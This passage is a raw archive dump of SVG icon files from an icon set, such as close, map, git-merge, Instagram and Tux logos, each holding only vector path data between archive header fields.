26.5-21.5 48-48 48s-48-21.5-48-48c0-3 .3-6 .8-8.9l-57.6-33.5c-8.6 8.3-20.3 13.4-33.3 13.4-8.6 0-16.6-2.3-23.6-6.2L32 364.2v57.2c0 23.5 19.2 42.7 42.7 42.7h362.7c23.5 0 42.7-19.2 42.7-42.7V208.8l-58.6-38.9c-8.1 6.3-18.3 10.1-29.4 10.1-4.4 0-8.7-.6-12.7-1.7z"/><path d="M117 217c26.5 0 48 21.5 48 48 0 2.1-.2 4.2-.4 6.2l60.1 33.6c8.3-6.8 18.8-10.8 30.4-10.8 3.6 0 7.1.4 10.4 1.1l87.4-135.4c-5.6-7.8-8.9-17.4-8.9-27.8 0-26.5 21.5-48 48-48s48 21.5 48 48c0 3.9-.5 7.7-1.3 11.3l41.3 27.6V90.7c0-23.5-19.2-42.7-42.7-42.7H74.7C51.2 48 32 67.2 32 90.7V320l40-38.3c-1.9-5.2-3-10.8-3-16.7 0-26.5 21.5-48 48-48z"/></svg>collection/icon/svg/md-close.svg000064400000000341151701353760012660 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405 136.798L375.202 107 256 226.202 136.798 107 107 136.798 226.202 256 107 375.202 136.798 405 256 285.798 375.202 405 405 375.202 285.798 256z"/></svg>collection/icon/svg/md-recording.svg000064400000000727151701353760013537 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M369.8 160c-53.4 0-96.2 42.8-96.2 96 0 23.6 7.9 44.5 21.9 61.1h-78.8c14-16.6 21.9-37.5 21.9-61.1 0-53.2-42.9-96-96.2-96S46 202.8 46 256s42.9 96 96.2 96h227.5c53.4 0 96.2-42.8 96.2-96s-42.8-96-96.1-96zM142.2 317.1C108.1 317.1 81 290 81 256s27.1-61.1 61.2-61.1 61.2 27.1 61.2 61.1-27 61.1-61.2 61.1zm227.6 0c-34.1 0-61.2-27.1-61.2-61.1s27.1-61.1 61.2-61.1S431 222 431 256s-27.1 61.1-61.2 61.1z"/></svg>collection/icon/svg/ios-git-merge.svg000064400000001412151701353760013625 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M378 218c-33.5 0-62.1 23.8-68.6 56.1-10.3-.5-18.4-2.7-39.2-10.8-30.5-11.9-71.8-33.2-111.5-95.8 27.1-10.1 45.4-36 45.4-65.5 0-38.6-31.4-70-70-70s-70 31.4-70 70c0 17 6.2 33.3 17.3 46.1 9.9 11.3 23.1 19.1 37.7 22.3v171.3c-14.5 3.2-27.8 11-37.7 22.3C70.2 376.7 64 393 64 410c0 38.6 31.4 70 70 70s70-31.4 70-70c0-17.4-6.4-34-18-46.9-10.3-11.4-24-19.1-39-21.9V200.3c40.8 56.8 82 77 113 89.1 25.2 9.8 37.1 12.3 49.5 12.8 6.6 32.2 35.2 55.8 68.5 55.8 38.6 0 70-31.4 70-70s-31.4-70-70-70zM176 410c0 23.2-18.8 42-42 42s-42-18.8-42-42 18.8-42 42-42 42 18.8 42 42zm-42-266c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zm244 186c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42z"/></svg>collection/icon/svg/logo-instagram.svg000064400000001154151701353760014103 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M336 96c21.2 0 41.3 8.4 56.5 23.5S416 154.8 416 176v160c0 21.2-8.4 41.3-23.5 56.5S357.2 416 336 416H176c-21.2 0-41.3-8.4-56.5-23.5S96 357.2 96 336V176c0-21.2 8.4-41.3 23.5-56.5S154.8 96 176 96h160m0-32H176c-61.6 0-112 50.4-112 112v160c0 61.6 50.4 112 112 112h160c61.6 0 112-50.4 112-112V176c0-61.6-50.4-112-112-112z"/><path d="M360 176c-13.3 0-24-10.7-24-24s10.7-24 24-24c13.2 0 24 10.7 24 24s-10.8 24-24 24zM256 192c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64m0-32c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96z"/></svg>collection/icon/svg/md-map.svg000064400000000660151701353760012334 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.333 64c-2.176 0-4.396 1.369-9.176 3.207L320 108.802 192 64 71.469 104.531C67.197 105.604 64 109.864 64 115.197v322.136C64 443.729 68.271 448 74.666 448c1.828 0 6.505-2.33 9.087-3.319L192 403.197 320 448l120.531-40.531c4.271-1.073 7.469-5.334 7.469-10.667V74.666C448 68.271 443.729 64 437.333 64zM320 405.333l-128-44.802V106.666l128 44.803v253.864z"/></svg>collection/icon/svg/md-person.svg000064400000000353151701353760013064 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 256c52.805 0 96-43.201 96-96s-43.195-96-96-96-96 43.201-96 96 43.195 96 96 96zm0 48c-63.598 0-192 32.402-192 96v48h384v-48c0-63.598-128.402-96-192-96z"/></svg>collection/icon/svg/md-sync.svg000064400000000704151701353760012532 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 93.09V32l-80 81.454 80 81.456v-61.093c65.996 0 120 54.982 120 122.183 0 20.363-5 39.714-14.004 57.016L391 342.547c15.996-25.457 25-54.988 25-86.547 0-89.599-72.002-162.91-160-162.91zm0 285.094c-66.001 0-120-54.988-120-122.184 0-20.363 5-39.709 13.999-57.02L121 169.454C104.999 193.89 96 224.436 96 256c0 89.599 72.002 162.91 160 162.91V480l80-81.453-80-81.457v61.094z"/></svg>collection/icon/svg/logo-sass.svg000064400000006151151701353760013071 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M511.784 329.108c-1.67-13.599-9.236-24.146-20.795-32.416 2.857 2.04 5.275 3.766-.055-.041-7.189-5.131-3.38-2.411-.047-.032-28.5-20.301-65.676-15.789-96.733-4.511-12.447-20.295-12.987-35.783-5.816-57.937.929-2.8.295-4.354-2.624-5.604-7.086-3.03-17.291-1.427-24.422.463-2.462.646-4.254 1.9-4.8 4.381-5.154 24.243-21.009 46.448-34.828 66.886-9.731-18.652-8.96-33.087-2.414-52.516.798-2.366.431-3.624-1.937-4.879-7.26-3.757-18.401-1.912-25.8.276-8.509 2.482-21.29 44.594-25.372 52.946-8.531 17.442-16.091 44.665-30.585 58.502-12.3-15.807 22.526-51.517 10.882-65.851-3.938-4.848-11.063-4.723-15.586-.616 1.085-7.608 1.648-12.609-.32-19.063-2.081-6.79-7.361-10.687-15.09-10.49-17.995.527-33.843 13.815-44.641 26.397-10.277 12.105-37.381 19.627-51.953 26.927-25.032-21.807-79.221-44.947-80.632-82.081-1.528-41.846 48.319-70.245 81.597-87.228 43.28-22.104 109.961-49.608 159.138-25.436 13.049 6.414 18.299 20.171 14.707 33.348-9.368 34.366-47.198 57.293-80.103 67.807-16.189 5.175-33.969 9.027-51.1 8.026-22.955-1.343-40.83-15.224-43.281-16.086-2.049-.389-1.888 2.261-1.347 3.664 23.816 62.433 144.417 16.681 175.956-15.371 15.189-15.421 24.413-30.365 28.351-53.894 4.616-27.583-15.634-44.842-31.004-51.957-77.918-36.072-185.636 11.168-244.553 59.327-25.568 20.901-57.552 54.11-42.874 88.946 15.93 37.805 64.736 57.19 96.503 80.312-25.704 12.773-57.862 25.983-74.518 49.933-9.524 13.729-12.903 28.359-5.811 43.966 12.572 27.568 58.285 15.622 77.573 3.471 17.67-11.13 29.563-26.07 34.7-45.228 4.455-16.609 3.541-33.866-3.856-49.512l28.585-14.458c-7.697 23.076-11.097 52.003 4.881 72.855 6.402 8.338 23.017 8.675 29.817.311 8.816-10.943 14.664-24.655 20.503-37.206-.682 9.373-1.856 19.996 1.377 28.165 3.71 9.373 12.126 11.291 20.792 5.343 26.52-18.203 43.398-68.652 56.463-98.062 3.552 12.829 7.473 24.548 13.957 36.376 1.602 2.903 1.407 4.774-.796 7.195-9.685 10.675-32.826 28.479-35.069 42.899-.524 3.371 1.713 6.599 5.686 7.37 15.573 3.108 32.838-2.531 45.482-11.078 13.188-8.922 17.446-21.087 14.245-35.515-4.576-20.771 10.993-43.98 25.801-61.03 2.719 12.908 6.816 25.331 14.143 36.606-13.075 11.483-32.58 27.764-29.779 46.939.988 6.865 7.135 11.301 14.514 9.736 15.783-3.324 29.416-10.113 39.37-22.146 9.023-10.855 5.792-22.701 1.856-34.635 23.872-6.815 48.022-8.177 71.831-.027 11.495 3.91 20.755 10.5 26.248 20.818 6.726 12.644 2.939 24.292-10.05 32.604-3.287 2.104-5.562 3.833-4.45 4.743 1.112.911 4.9 2.113 13.284-3.152 8.384-5.267 13.51-12.383 14.823-21.725a37.09 37.09 0 0 0-.024-7.755zm-398.838 25.259c-1.358 16.673-9.636 30.193-23.175 41.114-7.617 6.158-17.102 11.176-26.52 12.092-9.418.917-16.751-1.461-17.378-11.23-1.764-27.493 40.923-54.424 64.625-62.533 2.02 6.86 3.011 13.666 2.432 20.587l.016-.03zm103.102-72.453c-3.903 22.309-14.83 62.347-32.314 78.336-2.356 2.143-4.61 2.018-5.809-.771-10.345-24.059 3.671-73.669 33.082-81.328 3.457-.889 5.602.582 5.041 3.763zm70.311 81.768c8.422-8.962 16.834-17.916 25.269-26.927 1.043 10.021-17.571 29.964-25.269 26.927zm80.714-17.696c-2.348 1.273-7.621 2.515-7.827.835-1.482-12.085 11.816-24.874 20.067-30.867 4.453 11.343-.818 23.834-12.24 30.032z"/></svg>collection/icon/svg/ios-filing.svg000064400000001070151701353760013215 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M424 64H88c-22 0-40 18-40 40v304c0 22 18 40 40 40h336c22 0 40-18 40-40V104c0-22-18-40-40-40zm12 176c0 8.8-7.2 16-16 16h-86.8c-6.8 0-12.8 4.2-15.1 10.6C314 278.2 303.8 288 292 288h-72c-11.9 0-22.1-9.8-26.1-21.4-2.2-6.4-8.3-10.6-15.1-10.6H92c-8.8 0-16-7.2-16-16V108c0-8.8 7.2-16 16-16h328c8.8 0 16 7.2 16 16v132z"/><path d="M386 156H126c-7.7 0-14-6.3-14-14s6.3-14 14-14h260c7.7 0 14 6.3 14 14s-6.3 14-14 14zM386 220H126c-7.7 0-14-6.3-14-14s6.3-14 14-14h260c7.7 0 14 6.3 14 14s-6.3 14-14 14z"/></svg>collection/icon/svg/ios-rainy.svg000064400000001526151701353760013075 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M433.9 175.6c-19-17.6-44.6-27.3-72.1-27.3h-5.6c-6.5-23.5-19.4-43.5-37.6-58.2C297.3 73 269.5 64 238.1 64c-32.7 0-63.2 11.7-86 32.9-22.8 21.2-35.5 50-36.1 81.4-17.5 4-33.6 13.7-46 27.9-14.2 16.2-22 36.6-22 57.4 0 44.6 34.9 82.6 77.4 86L101.2 382c-2.4 3.2-3.3 7.2-2.7 11.1.6 3.9 2.8 7.3 6 9.6 2.5 1.8 5.5 2.7 8.6 2.7 5.2 0 9.8-2.1 12.5-5.8l37.1-50h35.1l-55.3 75.1c-2.3 3.2-3.4 6.9-2.9 10.6.5 3.9 2.6 7.4 5.9 9.8 3.5 2.5 7.5 2.8 9 2.8 7.2 0 11.2-3.5 13.4-6.4l67.4-91.8H270L246 382c-2.4 3.3-3.4 7.2-2.7 11.1.6 3.9 2.8 7.3 6 9.6 2.5 1.8 5.5 2.7 8.6 2.7 5.2 0 9.8-2.1 12.5-5.8l37-50h35.1l-55.3 75.1c-2.3 3.2-3.4 7-2.9 10.6.5 3.8 2.6 7.2 5.9 9.6 2.6 1.9 5.9 3 8.9 3 5.1 0 9.7-2.2 12.5-6l69.7-95.1c22.4-4.5 43-16.6 58.1-34.5 15.9-18.8 24.7-42.6 24.7-67.1-.1-26.8-10.8-51.6-30.2-69.6z"/></svg>collection/icon/svg/ios-eye.svg000064400000001126151701353760012531 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.8 112c-80.4 0-143.8 50.6-219.6 133.3-5.5 6.1-5.6 15.2-.1 21.3C101 338.3 158.2 400 255.8 400c96.4 0 168.7-77.7 220.1-134 5.3-5.8 5.6-14.6.5-20.7C424 181.8 351.5 112 255.8 112zm4.4 233.9c-53 2.4-96.6-41.2-94.1-94.1 2.1-46.2 39.5-83.6 85.7-85.7 53-2.4 96.6 41.2 94.1 94.1-2.1 46.2-39.5 83.6-85.7 85.7z"/><path d="M256 209c0-6 1.1-11.7 3.1-16.9-1 0-2-.1-3.1-.1-36.9 0-66.6 31.4-63.8 68.9 2.4 31.3 27.6 56.5 58.9 58.9 37.5 2.8 68.9-26.9 68.9-63.8 0-1.3-.1-2.6-.1-3.9-5.6 2.5-11.7 3.9-18.2 3.9-25.2 0-45.7-21.1-45.7-47z"/></svg>collection/icon/svg/ios-rewind.svg000064400000000414151701353760013236 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M35.9 249.3L244 129.1c5.4-3.1 12.3.6 12.3 6.7V251l211.3-121.9c5.4-3.1 12.3.6 12.3 6.7v240.3c0 6.1-6.9 9.8-12.3 6.7L256.4 261v115.2c0 6.1-6.9 9.8-12.3 6.7L35.9 262.7c-5.2-3-5.2-10.4 0-13.4z"/></svg>collection/icon/svg/md-list.svg000064400000000252151701353760012527 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80 280h256v48H80zM80 184h320v48H80zM80 88h352v48H80z"/><g><path d="M80 376h288v48H80z"/></g></svg>collection/icon/svg/md-share.svg000064400000001351151701353760012657 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M383.822 344.427c-16.045 0-31.024 5.326-41.721 15.979l-152.957-88.42c1.071-5.328 2.142-9.593 2.142-14.919 0-5.328-1.071-9.593-2.142-14.919l150.826-87.35c11.762 10.653 26.741 17.041 43.852 17.041 35.295 0 64.178-28.766 64.178-63.92C448 72.767 419.117 44 383.822 44c-35.297 0-64.179 28.767-64.179 63.92 0 5.327 1.065 9.593 2.142 14.919l-150.821 87.35c-11.767-10.654-26.741-17.041-43.856-17.041-35.296 0-63.108 28.766-63.108 63.92 0 35.153 28.877 63.92 64.178 63.92 17.115 0 32.089-6.389 43.856-17.042l151.891 88.421c-1.076 4.255-2.141 8.521-2.141 13.847 0 34.094 27.806 61.787 62.037 61.787 34.229 0 62.036-27.693 62.036-61.787.001-34.094-27.805-61.787-62.035-61.787z"/></svg>collection/icon/svg/ios-umbrella.svg000064400000001673151701353760013561 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M407.1 137.9c-34.9-41.6-81.3-67.3-131.2-72.6-2-9.9-10.2-17.3-19.9-17.3s-17.9 7.3-19.9 17.2c-50.6 5.2-97.4 30.3-132.1 71.2-35.8 42.2-55.6 85.5-55.8 143.7-.1.5-.2 1.2-.2 2.1.1 3.2 2.7 5.8 5.8 5.8h3.1c2.6 0 4.9-1.8 5.6-4.4 2.7-10.1 8.4-19.1 16-25.5 7.7-6.5 16.9-9.9 26.6-9.9 9.6 0 18.8 3.4 26.5 10 7.6 6.4 13.2 15.4 16 25.5.7 2.6 3 4.4 5.6 4.4h4.8c2.6 0 4.9-1.8 5.6-4.4 5.7-20.9 23.3-35.4 42.8-35.4 14.8 0 28.8 8.4 36.9 21.9V418c0 9.9-8 18-17.7 18s-17.6-8.1-17.6-18c0-7.7-6.1-14-13.7-14-7.5 0-13.6 6.3-13.6 14 0 25.4 20.2 46 44.9 46 24.8 0 44.9-20.6 44.9-46V270.8c8.2-14.2 21.9-22.6 36.9-22.6 9.6 0 18.7 3.4 26.4 9.9 7.5 6.4 13.1 15.4 15.9 25.5.7 2.6 3 4.4 5.6 4.4h4.8c2.6 0 4.9-1.8 5.6-4.4 2.7-10.1 8.4-19.2 16-25.6 7.7-6.5 16.9-10 26.6-10 9.7 0 19 3.4 26.7 10 7.6 6.4 13.2 15.5 15.9 25.6.7 2.6 3 4.4 5.6 4.4h1.5c1.6 0 3.1-.6 4.2-1.8s1.7-2.7 1.7-4.3c-.8-57.9-21-101.3-56.8-144z"/></svg>collection/icon/svg/ios-cloud.svg000064400000000471151701353760013057 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.1 229.8C429 154.6 365.4 96 288 96c-51.2 0-96.3 25.6-123.4 64.7-8.3-3.4-17.4-5.3-26.9-5.3-39.1 0-70.8 34.4-71.4 73.4C26.4 241.5 0 280.5 0 321.5 0 371.7 40.7 416 90.9 416h330.3c50.2 0 90.9-44.3 90.9-94.5-.1-44.7-32.4-84.1-75-91.7z"/></svg>collection/icon/svg/md-cloud-download.svg000064400000000516151701353760014472 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.002 217.001C388.998 148.002 328.998 96 256 96c-57.998 0-107.998 32.998-132.998 81.001C63.002 183.002 16 233.998 16 296c0 65.996 53.999 120 120 120h260c55 0 100-45 100-100 0-52.998-40.996-96.001-92.998-98.999zM224 268v-76h64v76h68L256 368 156 268h68z"/></svg>collection/icon/svg/ios-hourglass.svg000064400000001356151701353760013763 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M415.6 434h-5.1c-6.5 0-12-.9-12.7-7.4v-.1C383.2 290.6 297.6 288 297.6 256s85.7-34.6 100.2-170.5v-.1c.7-6.5 6.2-7.4 12.7-7.4h5.1c7.5 0 14-5.8 14.4-13.3.4-8-6-14.7-14-14.7H96.4c-7.5 0-14 5.8-14.4 13.3-.4 8 6 14.7 14 14.7h5.5c6.5 0 12 .9 12.7 7.4v.1C128.8 221.4 214.4 224 214.4 256s-85.7 34.6-100.2 170.5v.1c-.7 6.5-6.2 7.4-12.7 7.4h-5.1c-7.5 0-14 5.8-14.4 13.3-.4 8 6 14.7 14 14.7h320c8 0 14.4-6.6 14-14.7-.4-7.5-6.9-13.3-14.4-13.3zm-252.3-34.2c28.7-79.8 79.6-70.1 79.6-101.6v-55.6c0-19.4-36.8-32.9-59.8-64.4-3.8-5.2 0-12.4 6.5-12.4h132.9c6.5 0 10.4 7 6.7 12.2-22.6 31.6-60.1 45.2-60.1 64.6v55.6c0 31.2 48.9 22.7 79.8 101.6 2.8 7.1.7 16-6.9 16H170.2c-7.7 0-9.5-8.8-6.9-16z"/></svg>collection/icon/svg/ios-checkbox.svg000064400000000666151701353760013545 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 64H96c-17.7 0-32 14.3-32 32v320c0 17.7 14.3 32 32 32h320c17.7 0 32-14.3 32-32V96c0-17.7-14.3-32-32-32zm-52.5 134.5L229.8 332.8h-.1c-1.7 1.7-6.3 5.5-11.6 5.5-3.8 0-8.1-2.1-11.7-5.7l-56-56c-1.6-1.6-1.6-4.1 0-5.7l17.8-17.8c.8-.8 1.8-1.2 2.8-1.2 1 0 2 .4 2.8 1.2l44.4 44.4 122-122.9c.8-.8 1.8-1.2 2.8-1.2 1.1 0 2.1.4 2.8 1.2l17.5 18.1c1.8 1.7 1.8 4.2.2 5.8z"/></svg>collection/icon/svg/md-folder-open.svg000064400000000647151701353760013776 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.334 144H256.006l-42.668-48H74.666C51.197 96 32 115.198 32 138.667v234.666C32 396.802 51.197 416 74.666 416h362.668C460.803 416 480 396.802 480 373.333V186.667C480 163.198 460.803 144 437.334 144zM448 373.333c0 5.782-4.885 10.667-10.666 10.667H74.666C68.884 384 64 379.115 64 373.333V176h373.334c5.781 0 10.666 4.885 10.666 10.667v186.666z"/></svg>collection/icon/svg/md-tennisball.svg000064400000001247151701353760013714 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M383.8 92.2C348.5 64.5 304.1 48 256 48c-48 0-92.3 16.5-127.6 44 41.6 44.8 64.3 103 64 164.3-.3 61-23.3 118.6-64.9 162.9 35.4 28 80.1 44.8 128.5 44.8 48.5 0 93.3-16.8 128.8-45-41.5-44.3-64.5-101.8-64.8-162.7-.3-61.2 22.3-119.3 63.8-164.1z"/><path d="M353.1 255.1c0 26.9 5.1 53 15.1 77.8 9.6 23.6 23.3 44.9 40.8 63.6 34.1-37.1 55-86.5 55-140.5 0-54.5-21.2-104.2-55.8-141.4-17.1 18.5-30.6 39.6-40 62.7-10 24.8-15.1 51-15.1 77.8zM159.3 255.1c0-26.9-5.1-53-15.1-77.8-9.4-23.2-22.9-44.4-40.2-62.9-34.7 37.2-56 87-56 141.6 0 54.2 21 103.6 55.2 140.7 17.6-18.7 31.4-40.1 41-63.8 10-24.7 15.1-50.9 15.1-77.8z"/></svg>collection/icon/svg/ios-checkmark.svg000064400000000513151701353760013676 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M362.6 192.9L345 174.8c-.7-.8-1.8-1.2-2.8-1.2-1.1 0-2.1.4-2.8 1.2l-122 122.9-44.4-44.4c-.8-.8-1.8-1.2-2.8-1.2-1 0-2 .4-2.8 1.2l-17.8 17.8c-1.6 1.6-1.6 4.1 0 5.7l56 56c3.6 3.6 8 5.7 11.7 5.7 5.3 0 9.9-3.9 11.6-5.5h.1l133.7-134.4c1.4-1.7 1.4-4.2-.1-5.7z"/></svg>collection/icon/svg/md-notifications-off.svg000064400000001050151701353760015172 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 463.656c22.814 0 41.475-18.656 41.475-41.656h-82.95c0 23 18.661 41.656 41.475 41.656z"/><path d="M131.083 107.172l.053.074L98.09 74.277 74.004 98.383l63.042 63.153C126.888 180.521 121 202.196 121 225.07v114.555l-41 41.656V402h297.743l36.182 36.33 24.079-24.301L425.9 402h.316L131.083 107.172zM391 225.07c0-63.526-45-117.677-104-131.218V79.274c0-17.706-13.371-31.243-31-31.243-17.628 0-31 13.537-31 31.243v14.578c-15 3.438-29.048 9.501-41.75 17.663L391 319.355V225.07z"/></svg>collection/icon/svg/md-radio-button-on.svg000064400000000563151701353760014602 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 152c-57.2 0-104 46.8-104 104s46.8 104 104 104 104-46.8 104-104-46.8-104-104-104zm0-104C141.601 48 48 141.601 48 256s93.601 208 208 208 208-93.601 208-208S370.399 48 256 48zm0 374.4c-91.518 0-166.4-74.883-166.4-166.4S164.482 89.6 256 89.6 422.4 164.482 422.4 256 347.518 422.4 256 422.4z"/></svg>collection/icon/svg/ios-call.svg000064400000001130151701353760012655 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M436.9 364.8c-14.7-14.7-50-36.8-67.4-45.1-20.2-9.7-27.6-9.5-41.9.8-11.9 8.6-19.6 16.6-33.3 13.6-13.7-2.9-40.7-23.4-66.9-49.5-26.2-26.2-46.6-53.2-49.5-66.9-2.9-13.8 5.1-21.4 13.6-33.3 10.3-14.3 10.6-21.7.8-41.9C184 125 162 89.8 147.2 75.1c-14.7-14.7-18-11.5-26.1-8.6 0 0-12 4.8-23.9 12.7-14.7 9.8-22.9 18-28.7 30.3-5.7 12.3-12.3 35.2 21.3 95 27.1 48.3 53.7 84.9 93.2 124.3l.1.1.1.1c39.5 39.5 76 66.1 124.3 93.2 59.8 33.6 82.7 27 95 21.3 12.3-5.7 20.5-13.9 30.3-28.7 7.9-11.9 12.7-23.9 12.7-23.9 2.9-8.1 6.2-11.4-8.6-26.1z"/></svg>collection/icon/svg/md-egg.svg000064400000000250151701353760012314 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32C185.6 32 80 165.2 80 288.9S150.4 480 256 480s176-67.4 176-191.1S326.4 32 256 32z"/></svg>collection/icon/svg/ios-card.svg000064400000000565151701353760012666 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 128c0-17.6-14.4-32-32-32H64c-17.6 0-32 14.4-32 32v48h448v-48zM32 384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V224H32v160zm142-48h164c7.7 0 14 6.3 14 14s-6.3 14-14 14H174c-7.7 0-14-6.3-14-14s6.3-14 14-14zm-72 0h12c7.7 0 14 6.3 14 14s-6.3 14-14 14h-12c-7.7 0-14-6.3-14-14s6.3-14 14-14z"/></svg>collection/icon/svg/md-pint.svg000064400000000317151701353760012530 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 48l42.9 379.2c2.6 20.8 20.5 36.8 42.5 36.8h213.3c22 0 39.9-16 42.5-36.8L448 48H64zm327 124.8H121l-9.4-83.2h288.6l-9.2 83.2z"/></svg>collection/icon/svg/ios-volume-off.svg000064400000001547151701353760014035 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M390.1 464c-4.9 0-9.7-2.5-12.3-7L149.7 69.3c-4-6.7-1.7-15.4 5.1-19.3 6.8-3.9 15.5-1.7 19.5 5.1l228.1 387.7c4 6.7 1.7 15.4-5.1 19.3-2.2 1.3-4.7 1.9-7.2 1.9zM133 200H80c-8.9 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16h53l65.4 52.5c2.9 2.3 6.5 3.5 10.1 3.5 2.4 0 4.7-.5 6.9-1.6 5.6-2.7 9.1-8.3 9.1-14.4V227.9L184 159.1 133 200zM448 256c0-59.3-23.3-114.9-65.5-156.5-4.7-4.7-12.3-4.6-17 .1-4.7 4.7-4.6 12.3.1 17C403.3 153.7 424 203.2 424 256c0 44.4-14.7 86.4-41.7 120.8l13 22C429.4 359.1 448 309 448 256z"/><path d="M385.2 256c0-43.5-16.7-84.3-46.9-114.9-4.7-4.7-12.3-4.8-17-.1-4.7 4.7-4.8 12.3-.1 17 25.8 26.1 40 60.9 40 98.1 0 21.6-4.8 42.5-13.9 61.2l14.2 24.1c15.4-25.4 23.7-54.7 23.7-85.4zM317.6 256c0-27.8-10.7-53.9-30-73.4-4.7-4.7-12.3-4.8-17-.1-.6.6-1.1 1.2-1.6 1.9l48.1 81.8c.3-3.4.5-6.8.5-10.2z"/></svg>collection/icon/svg/logo-polymer.svg000064400000000317151701353760013605 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M392.3 96h-77.9L160.8 348.6 109.9 256l87.7-160h-77.9L32 256l87.7 160h77.9l153.7-252.6 50.8 92.6-87.7 160h77.9L480 256 392.3 96z"/></svg>collection/icon/svg/md-bus.svg000064400000001216151701353760012346 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80 352c0 19.198 13.864 24.531 26.667 36.271v38.396c0 11.729 9.599 21.334 21.333 21.334h21.333c11.734 0 21.334-9.604 21.334-21.334v-21.333h170.666v21.333c0 11.729 9.604 21.334 21.334 21.334H384c11.729 0 21.333-9.604 21.333-21.334v-38.396C418.136 376.531 432 370.136 432 352V148.334C432 73.667 349.864 64 256 64S80 73.667 80 148.334V352zm80 15.989c-18.136 0-32-13.864-32-32 0-18.135 13.864-32 32-32s32 13.865 32 32c0 18.136-13.864 32-32 32zm192 0c-18.136 0-32-13.864-32-32 0-18.135 13.864-32 32-32s32 13.865 32 32c0 18.136-13.864 32-32 32zm32-122.656H128V138.667h256v106.666z"/></svg>collection/icon/svg/logo-windows.svg000064400000000302151701353760013602 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 265H232v179l248 36V265zM216 265H32v150l184 26.7V265zM480 32L232 67.4V249h248V32zM216 69.7L32 96v153h184V69.7z"/></svg>collection/icon/svg/logo-tux.svg000064400000005163151701353760012742 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M426.3 396c-6.7-4-13.2-11-12-18.8 2.3-15.3 2.5-21.5-.2-25.8-1.9-3.2-5.5-5-8.6-5.8 2-2.5 3.1-5.4 3.8-10.9 1.3-10-4.7-41-12.7-65.7s-29.9-50-44.7-68c-26-31.8-22.8-39.2-26.3-99.7C323.4 62.8 306.3 32 256 32s-67 32-67 59c0 28.7 2 51 2 51 1.3 33.4 1 39.4-8 55.3-4.9 8.7-27 30-35.7 44.7s-7.6 29.5-24.6 52.8c-12.4 17-13.8 28.4-9.7 44-7 8.2-3.6 19.9-5 24.9-2.6 8.7-13.7 10.3-22.3 11s-15.3 0-18.7 5.3.7 16 4.3 30-7.3 15-7.3 31 30 16 59.7 22.7 40.7 16.3 56 16.3 26.8-10.2 38-19.3c7.2-5.9 29-3.7 42.3-3.7s34.3-.6 45.7 2.4S317 480 345 480s34.7-20.7 61-34.3 42-20 42-29.7-15-16-21.7-20zm-226.5 55.5c-1.3 13-12.6 17.1-24.1 16.1-13-1.1-29-7.6-44.1-12.1s-35.5-7.5-49-9.9c-15.3-2.7 0-13.6-.2-34.2-.1-8-7.1-19.4-4.2-24.7s17.3-2.4 22.3-3.8 12.7-5.7 15.3-11.9c1.4-3.4 1.8-17.7 2.9-22.8 1.1-4.9 7.9-7.2 22.2.1s28.9 38.1 42.3 59.8 17.9 30.4 16.6 43.4zm118.5-65.8c2 10.3 3.2 24.5.7 36.3s-7 15.5-10.7 23c-2.2-6.8 5.3-13.8 4.4-30.8-.5-9.5-.8-7.8-11.5 1.8-12.2 10.8-27.6 20.1-53 22.5-21 2-32.5-8.3-32.5-8.3 5 16-4.3 24.7-4.3 